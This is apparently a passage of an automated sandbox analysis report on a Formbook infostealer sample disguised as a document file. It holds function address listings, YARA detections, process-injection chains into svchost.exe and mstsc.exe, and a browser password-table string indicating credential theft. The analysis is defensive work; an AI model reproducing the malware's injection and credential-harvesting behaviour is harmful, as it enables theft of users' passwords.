Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333EA80	1_2_0333EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03356962	1_2_03356962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033429A0	1_2_033429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0340A9A6	1_2_0340A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0334A840	1_2_0334A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03342840	1_2_03342840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033268B8	1_2_033268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336E8F0	1_2_0336E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03360F30	1_2_03360F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033E2F30	1_2_033E2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03382F28	1_2_03382F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B4F40	1_2_033B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033BEFA0	1_2_033BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03332FC8	1_2_03332FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033FEE26	1_2_033FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340E59	1_2_03340E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03352E90	1_2_03352E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033FCE93	1_2_033FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033FEEDB	1_2_033FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DCD1F	1_2_033DCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0334AD00	1_2_0334AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03358DBF	1_2_03358DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333ADE0	1_2_0333ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340C00	1_2_03340C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033E0CB5	1_2_033E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03330CF2	1_2_03330CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033F132D	1_2_033F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0332D34C	1_2_0332D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0338739A	1_2_0338739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033452A0	1_2_033452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335D2F0	1_2_0335D2F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033E12ED	1_2_033E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335B2C0	1_2_0335B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0340B16B	1_2_0340B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0332F172	1_2_0332F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0337516C	1_2_0337516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0334B1B0	1_2_0334B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033F70E9	1_2_033F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033FF0E0	1_2_033FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033EF0CC	1_2_033EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033470C0	1_2_033470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033FF7B0	1_2_033FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03385630	1_2_03385630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033F16CC	1_2_033F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DD5B0	1_2_033DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033FF43F	1_2_033FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03331460	1_2_03331460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033FFB76	1_2_033FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335FB80	1_2_0335FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B5BF0	1_2_033B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0337DBF9	1_2_0337DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B3A6C	1_2_033B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033FFA49	1_2_033FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033F7A46	1_2_033F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DDAAC	1_2_033DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03385AA0	1_2_03385AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033E1AA3	1_2_033E1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033EDAC6	1_2_033EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033D5910	1_2_033D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03349950	1_2_03349950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335B950	1_2_0335B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033AD800	1_2_033AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033FFF09	1_2_033FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033FFFB1	1_2_033FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03341F92	1_2_03341F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03303FD2	1_2_03303FD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03303FD5	1_2_03303FD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03349EB0	1_2_03349EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033F7D73	1_2_033F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033F1D5A	1_2_033F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03343D40	1_2_03343D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335FDC0	1_2_0335FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B9C32	1_2_033B9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033FFCF2	1_2_033FFCF2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04612446	3_2_04612446
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04604420	3_2_04604420
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0460E4F6	3_2_0460E4F6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04560535	3_2_04560535
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04620591	3_2_04620591
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0457C6E0	3_2_0457C6E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04584750	3_2_04584750
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04560770	3_2_04560770
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0455C7C0	3_2_0455C7C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045F2000	3_2_045F2000
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045E8158	3_2_045E8158
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045FA118	3_2_045FA118
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04550100	3_2_04550100
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_046181CC	3_2_046181CC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_046141A2	3_2_046141A2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_046201AA	3_2_046201AA
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04600274	3_2_04600274
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045E02C0	3_2_045E02C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0461A352	3_2_0461A352
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_046203E6	3_2_046203E6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0456E3F0	3_2_0456E3F0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04560C00	3_2_04560C00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04550CF2	3_2_04550CF2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04600CB5	3_2_04600CB5
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045FCD1F	3_2_045FCD1F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0456AD00	3_2_0456AD00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0455ADE0	3_2_0455ADE0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04578DBF	3_2_04578DBF
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04560E59	3_2_04560E59
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0461EE26	3_2_0461EE26
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0461EEDB	3_2_0461EEDB
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04572E90	3_2_04572E90
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0461CE93	3_2_0461CE93
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045D4F40	3_2_045D4F40
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04602F30	3_2_04602F30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04580F30	3_2_04580F30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045A2F28	3_2_045A2F28
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04552FC8	3_2_04552FC8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045DEFA0	3_2_045DEFA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04562840	3_2_04562840
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0456A840	3_2_0456A840
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0458E8F0	3_2_0458E8F0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045468B8	3_2_045468B8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04576962	3_2_04576962
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0462A9A6	3_2_0462A9A6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045629A0	3_2_045629A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0455EA80	3_2_0455EA80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0461AB40	3_2_0461AB40
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04616BD7	3_2_04616BD7
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04551460	3_2_04551460
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0461F43F	3_2_0461F43F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04617571	3_2_04617571
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_046295C3	3_2_046295C3
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045FD5B0	3_2_045FD5B0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045A5630	3_2_045A5630
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_046116CC	3_2_046116CC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0461F7B0	3_2_0461F7B0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0461F0E0	3_2_0461F0E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_046170E9	3_2_046170E9
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045670C0	3_2_045670C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0460F0CC	3_2_0460F0CC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0462B16B	3_2_0462B16B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0454F172	3_2_0454F172
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0459516C	3_2_0459516C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0456B1B0	3_2_0456B1B0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_046012ED	3_2_046012ED
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0457B2C0	3_2_0457B2C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0457D2F0	3_2_0457D2F0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045652A0	3_2_045652A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0454D34C	3_2_0454D34C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0461132D	3_2_0461132D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045A739A	3_2_045A739A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045D9C32	3_2_045D9C32
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0461FCF2	3_2_0461FCF2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04617D73	3_2_04617D73
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04563D40	3_2_04563D40
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04611D5A	3_2_04611D5A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0457FDC0	3_2_0457FDC0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04569EB0	3_2_04569EB0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0461FF09	3_2_0461FF09
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04523FD2	3_2_04523FD2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04523FD5	3_2_04523FD5
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04561F92	3_2_04561F92
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0461FFB1	3_2_0461FFB1
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045CD800	3_2_045CD800
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045638E0	3_2_045638E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04569950	3_2_04569950
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0457B950	3_2_0457B950
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045F5910	3_2_045F5910
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04617A46	3_2_04617A46
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0461FA49	3_2_0461FA49
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045D3A6C	3_2_045D3A6C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0460DAC6	3_2_0460DAC6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04601AA3	3_2_04601AA3
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045FDAAC	3_2_045FDAAC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045A5AA0	3_2_045A5AA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0461FB76	3_2_0461FB76
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0459DBF9	3_2_0459DBF9
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045D5BF0	3_2_045D5BF0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0457FB80	3_2_0457FB80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_02651B50	3_2_02651B50
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0264CA79	3_2_0264CA79
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0264CA80	3_2_0264CA80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0264CCA0	3_2_0264CCA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0264AD20	3_2_0264AD20
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_026533C0	3_2_026533C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_026551E0	3_2_026551E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0266B7B0	3_2_0266B7B0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0443540C	3_2_0443540C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0442E495	3_2_0442E495
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0442E378	3_2_0442E378
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04433F69	3_2_04433F69
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0442E833	3_2_0442E833
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0442D898	3_2_0442D898
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0442CA83	3_2_0442CA83
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0442CB58	3_2_0442CB58

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: String function: 00737750 appears 42 times
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: String function: 0072F885 appears 68 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0332B970 appears 262 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 033BF290 appears 103 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03375130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 033AEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03387E54 appears 99 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 04595130 appears 58 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 0454B970 appears 262 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 045CEA12 appears 86 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 045A7E54 appears 107 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 045DF290 appears 103 times

Source: DOC092024-0431202229487.exe, 00000000.00000003.1690165268.0000000004EF3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs DOC092024-0431202229487.exe
Source: DOC092024-0431202229487.exe, 00000000.00000003.1689928244.000000000509D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs DOC092024-0431202229487.exe

Source: DOC092024-0431202229487.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.1782440738.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.4144779638.0000000004330000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.1783144995.0000000003650000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.4144729578.00000000042E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.4147103044.0000000004CD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.4143200808.0000000002640000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.1783204016.0000000003A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.4144609194.0000000002590000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/5@17/12

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_0075D712 GetLastError,FormatMessageW,

0_2_0075D712

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0074B8B0 AdjustTokenPrivileges,CloseHandle,		0_2_0074B8B0
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0074BEC3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_0074BEC3

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_0075EA85 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_0075EA85

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_00756F5B CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,CloseHandle,

0_2_00756F5B

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_00751050 CoCreateInstance,SetErrorMode,GetProcAddress,SetErrorMode,

0_2_00751050

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_007131F2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_007131F2

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

File created: C:\Users\user\AppData\Local\Temp\aut2195.tmp

Jump to behavior

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: mstsc.exe, 00000003.00000003.1964297802.0000000002865000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000003.00000003.1964406091.0000000002886000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000003.00000002.4143406843.0000000002886000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: DOC092024-0431202229487.exe	ReversingLabs: Detection: 23%
Source: DOC092024-0431202229487.exe	Virustotal: Detection: 29%

Source: unknown	Process created: C:\Users\user\Desktop\DOC092024-0431202229487.exe "C:\Users\user\Desktop\DOC092024-0431202229487.exe"
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\DOC092024-0431202229487.exe"
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	Process created: C:\Windows\SysWOW64\mstsc.exe "C:\Windows\SysWOW64\mstsc.exe"
Source: C:\Windows\SysWOW64\mstsc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\DOC092024-0431202229487.exe"	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	Process created: C:\Windows\SysWOW64\mstsc.exe "C:\Windows\SysWOW64\mstsc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Section loaded: apphelp.dll	Jump to behavior
